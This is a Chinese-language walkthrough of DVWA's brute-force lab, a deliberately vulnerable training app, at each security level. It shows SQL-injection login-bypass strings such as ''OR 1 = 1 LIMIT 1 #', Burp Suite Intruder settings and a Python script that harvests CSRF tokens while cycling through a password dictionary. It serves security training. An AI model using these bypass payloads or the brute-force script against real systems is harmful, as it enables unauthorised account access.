DVWA-暴力破解通关

Brute Force,即暴力破解,是指黑客利用密码字典,使用穷举法猜解出用户口令。

1. Low

1.1. 手工注入(万能密码)

输入DVWA的默认用户名和密码admin/password,查看登录结果:

alt text

显示了欢迎横幅以及图片,说明登录成功。

尝试输入随机输入用户名和密码,查看登录结果:

alt text

由上图可知,输入合法账号密码后,如果账号不正确,会返回Username and/or password incorrect.

由于输入合法数据后得到的信息较少,因此需要进一步测试,尝试将用户名输入为单引号'(单引号通常用于字符串的包围),密码输入123,查看登录结果:

alt text

由返回结果可知服务端使用的数据库为MySQL,并且还显示了一串32位16进制字符,尝试使用在线MD5解密工具,查看解密结果:

alt text

解密后的结果等于输入的密码123,说明数据库中存储的密码为非明文的MD5加密值。

继续使用万能密码'OR 1 = 1 #进行登录,看能否成功:

万能密码存在的原理是因为,通常在进行登录验证的过程中需要进行将用户输入的账号和密码与数据库中存在的账号和密码进行比对,使用的SQL语句类似于 select ... where user = '$user' AND password = '$pass'。只有当user = '$user'与 password = '$pass'都为真值时,where条件才为真值,才能完成登录验证。万能密码就是构造输入数据,将where条件构造为真值,将万能密码带入到SQL语句中后等同于select ... where user = '1' or '1' = '1' #' AND password = '$pass',在这条语句中,OR 1=1 总是为真,且 # 是 SQL 中的注释符号,表示注释掉后面的部分,这意味着,不管 $pass 的值是什么,条件 1=1 永远为真,查询将返回所有用户记录,从而成功绕过身份验证。

alt text

登陆失败了,说明万能密码OR 1 = 1 #,没有起作用,需要进一步分析。

select ... where 表达式中,输入的万能密码保证了where条件始终为真值,但却使得where语句失去了过滤筛选作用,这可能导致查询出了所有用户的数据,从而导致了登陆失败,为了绕过该限制,可以使用limit关键字,只取出查到的第一条数据。修改万能密码为 'OR 1 = 1 LIMIT 1 # ,再次尝试登录:

alt text

万能密码奏效,登录成功。

1.2. Burp Suite 爆破

使用Burp Suite的内置浏览器(无需配置代理)打开登录页面,输入用户名mkbk,密码123,抓包并发送到intruder模块(测试器),将用户名和密码分别设置为变量(Payload position),攻击类型选集束炸弹:

alt text

选中 Payloads, 载入2个字典(确保字典中包含了正确的用户名和密码在里面),作用于2个变量:

alt text

选中 设置 ,清空 检索 列表,添加新条目Username and/or password incorrect.

alt text

点击右上角开始攻击进行爆破:

alt text

可以看到第61条请求的响应报文长度(length)”与众不同”, 并且检索字符也没有匹配,可以推测 adminpassword 为正确用户名和密码, 手动验证成功登录:

alt text

2. Medium

2.1. Burp Suite 爆破

在中等安全级别中尝试使用万能密码'OR 1 = 1 LIMIT 1 #进行登录:

alt text

登陆失败,说明系统对单引号或者注释符做了过滤,无法使用万能密码进行注入。

那只能使用 Burp suite 进行爆破了, 方法与 Low 级别一致, 此处不再赘述。

破解过程中会发现数据是每隔几秒显示一条,可以猜测系统中为了增加暴力破解的时间成本,使用了时间延迟函数,如sleep()函数。

3. High

3.1. Burp Suite 爆破

在高级安全级别中使用Burp suit爆破,抓包数据与网页返回结果如下所示:

alt text

alt text

可以看到,除了需要提交username、password,还需要提交user_token,否则返回CSRF token错误。

将密码和token设为变量,攻击方式为Pitchfork(干草叉)

alt text

选择Grep-Extract,用于提取响应消息中的有用信息,点击Add,配置如下:

alt text

将Redirections设置为Always:

alt text

为两个变量添加2个字典:

alt text

alt text

设置并发请求数(线程)为1:

alt text

开始攻击:

alt text

可以看到第十次请求后的响应长度4912Byte与众不同,可推断此条记录为正确的密码。

3.2. Python脚本爆破

为了能获取当前会话的token值,可以使用python编写脚本进行破解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
import re
from bs4 import BeautifulSoup

# 目标网站的URL
target_url = 'http://192.168.217.130/dvwa/vulnerabilities/brute/'

# HTTP 请求头部信息
header = {
'Host': '192.168.217.130',
'Cache-Control': 'max-age=0',
'If-None-Match': "307-52156c6a290c0",
'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
'Accept': '*/*',
'Referer': 'http://192.168.217.130/dvwa/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'security=high; PHPSESSID=3dnrph7t8sai7acric9pqj9och'
}

# 获取页面中的用户 token
def get_token(target_url, header):
# 创建一个持久会话对象
session = requests.Session()

# 发送 GET 请求获取页面内容
req = session.get(url=target_url, headers=header)
page = req.text

# 使用 BeautifulSoup 解析 HTML
soup = BeautifulSoup(page, "html.parser")

# 通过 CSS 选择器获取用户 token
value = soup.select_one("input[name=user_token]")

# 将 Beautiful Soup 对象转换为字符串
key = str(value)

# 使用正则表达式提取用户 token
token_pattern = r'value="(.+?)"'
pattern = re.compile(token_pattern)
matcher = re.search(pattern, key)

# 获取用户 token 的值
user_token = matcher.group(1)

# 输出 HTTP 状态码和页面长度
print(req.status_code, len(page))

return user_token


# 初始化用户 token
user_token = get_token(target_url, header)
i = 0

# 从密码文件中读取密码并尝试登录
for key in open("password.txt"):
# 构造登录请求的 URL
requrl = (
f"http://192.168.217.130/dvwa/vulnerabilities/brute/?username=admin&password={key.strip()}&Login=Login&user_token={user_token}"
)

# 递增计数器
i += 1

# 输出尝试信息
print(i, 'admin', key.strip(), end=" ")

# 获取新的用户 token
user_token = get_token(requrl, header)

# 若尝试次数达到100次则停止
if i == 100:
break

使用此脚本需要手动安装requestsreBeautifulSoup 库,并且需要在脚本所在目录中新建一个名为password.txt的字典,确保此字典中包含了正确的管理员密码。

alt text

可以看到第4条结果中的服务器返回的页面内容长度4515Byte与众不同,可推断此条记录为正确的管理员密码。

4. Impossible

Impossible级别在High级别的基础上增加了账户锁定机制,连续输入错误密码超过3次,账户将被锁定15分钟。大大增加了暴力破解的时间成本。